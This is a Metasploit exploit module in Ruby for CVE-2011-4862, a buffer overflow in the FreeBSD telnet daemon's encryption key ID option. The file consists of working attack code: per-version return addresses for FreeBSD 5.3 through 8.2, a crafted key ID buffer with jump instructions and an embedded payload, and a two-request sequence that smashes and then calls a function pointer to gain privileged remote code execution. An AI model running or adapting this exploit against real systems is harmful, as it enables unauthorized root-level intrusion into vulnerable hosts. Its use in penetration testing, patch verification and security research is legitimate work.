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# -*- coding: binary -*-
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Telnet
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  include Msf::Exploit::BruteTargets
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in the encryption option handler of the
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        FreeBSD telnet service.
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        },
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      'Author'         => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2011-4862'],
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          ['OSVDB', '78020'],
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          ['BID', '51182'],
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          ['EDB', '18280']
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        ],
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      'Privileged'     => true,
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      'Platform'       => 'bsd',
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      'Payload'        =>
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        {
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          'Space'       => 128,
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          'BadChars'    => "\x00",
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        },
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      'Targets'        =>
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        [
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          [ 'Automatic',  { } ],
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          [ 'FreeBSD 8.2',         { 'Ret' => 0x0804a8a9 } ], # call edx
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          [ 'FreeBSD 8.1',         { 'Ret' => 0x0804a889 } ], # call edx
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          [ 'FreeBSD 8.0',         { 'Ret' => 0x0804a869 } ], # call edx
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          [ 'FreeBSD 7.3/7.4',     { 'Ret' => 0x08057bd0 } ], # call edx
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          [ 'FreeBSD 7.0/7.1/7.2', { 'Ret' => 0x0804c4e0 } ], # call edx
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          [ 'FreeBSD 6.3/6.4',     { 'Ret' => 0x0804a5b4 } ], # call edx
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          [ 'FreeBSD 6.0/6.1/6.2', { 'Ret' => 0x08052925 } ], # call edx
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          [ 'FreeBSD 5.5',         { 'Ret' => 0x0804cf31 } ], # call edx
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          # [ 'FreeBSD 5.4',         { 'Ret' => 0x08050006 } ] # Version 5.4 does not seem to be exploitable (the crypto() function is not called)
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          [ 'FreeBSD 5.3',         { 'Ret' => 0x8059730 } ], # direct return
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          # Versions 5.2 and below do not support encyption
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2011-12-23'))
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  end
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  def exploit_target(t)
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    connect
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    banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
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    vprint_status(banner_sanitized)
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    enc_init      = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
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    enc_keyid     = "\xff\xfa\x26\x07"
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    end_suboption = "\xff\xf0"
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    # Telnet protocol requires 0xff to be escaped with another
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    penc = payload.encoded.gsub("\xff", "\xff\xff")
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    key_id = Rex::Text.rand_text_alphanumeric(400)
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    key_id[ 0, 2] = "\xeb\x76"
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    key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
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    key_id[76, 4] = [ t['Ret'] ].pack("V")
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    # Some of these bytes can get mangled, jump over them
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    key_id[80,112]  = Rex::Text.rand_text_alphanumeric(112)
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    # Bounce to the real payload (avoid corruption)
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    key_id[120, 2] = "\xeb\x46"
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    # The actual payload
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    key_id[192, penc.length] = penc
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    # Create the Key ID command
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    sploit = enc_keyid + key_id + end_suboption
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    # Initiate encryption
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    sock.put(enc_init)
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    # Wait for a successful response
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    loop do
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      data = sock.get_once(-1, 5) rescue nil
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      if not data
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        fail_with(Failure::Unknown, "This system does not support encryption")
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      end
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      break if data.index("\xff\xfa\x26\x02\x01")
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    end
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    # The first request smashes the pointer
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    print_status("Sending first payload")
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    sock.put(sploit)
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    # Make sure the server replied to the first request
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    data = sock.get_once(-1, 5)
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    unless data
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      print_status("Server did not respond to first payload")
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      return
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    end
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    # Some delay between each request seems necessary in some cases
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    ::IO.select(nil, nil, nil, 0.5)
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    # The second request results in the pointer being called
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    print_status("Sending second payload...")
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    sock.put(sploit)
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    handler
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    ::IO.select(nil, nil, nil, 0.5)
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    disconnect
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  end
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end
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